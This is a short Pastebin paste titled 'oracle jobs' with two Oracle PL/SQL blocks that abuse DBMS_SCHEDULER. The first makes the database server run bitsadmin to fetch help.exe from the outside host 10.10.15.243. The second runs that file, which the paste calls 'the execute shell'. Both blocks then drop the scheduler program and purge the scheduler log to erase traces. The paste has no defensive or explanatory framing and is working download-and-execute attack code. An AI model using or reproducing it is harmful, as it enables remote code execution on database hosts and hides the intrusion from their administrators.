Advertisement
Guest User

oracle jobs

a guest
Jul 17th, 2018
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. begin
  2. DBMS_SCHEDULER.create_program('myprog13','EXECUTABLE','bitsadmin /rawreturn /transfer getfiles http://10.10.15.243/help.exe c:\temp\help.exe',0,TRUE);
  3. DBMS_SCHEDULER.create_job(job_name=>'myjob13',program_name=>'myprog13',
  4. start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
  5. dbms_lock.sleep(1);
  6. dbms_scheduler.drop_program(program_name=>'myprog12');
  7. dbms_scheduler.purge_log;
  8. end;
  9.  
  10. the execute shell
  11.  
  12. begin
  13. DBMS_SCHEDULER.create_program('myprog14','EXECUTABLE','c:\temp\help.exe',0,TRUE);
  14. DBMS_SCHEDULER.create_job(job_name=>'myjob14',program_name=>'myprog14',
  15. start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
  16. dbms_lock.sleep(1);
  17. dbms_scheduler.drop_program(program_name=>'myprog14');
  18. dbms_scheduler.purge_log;
  19. end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement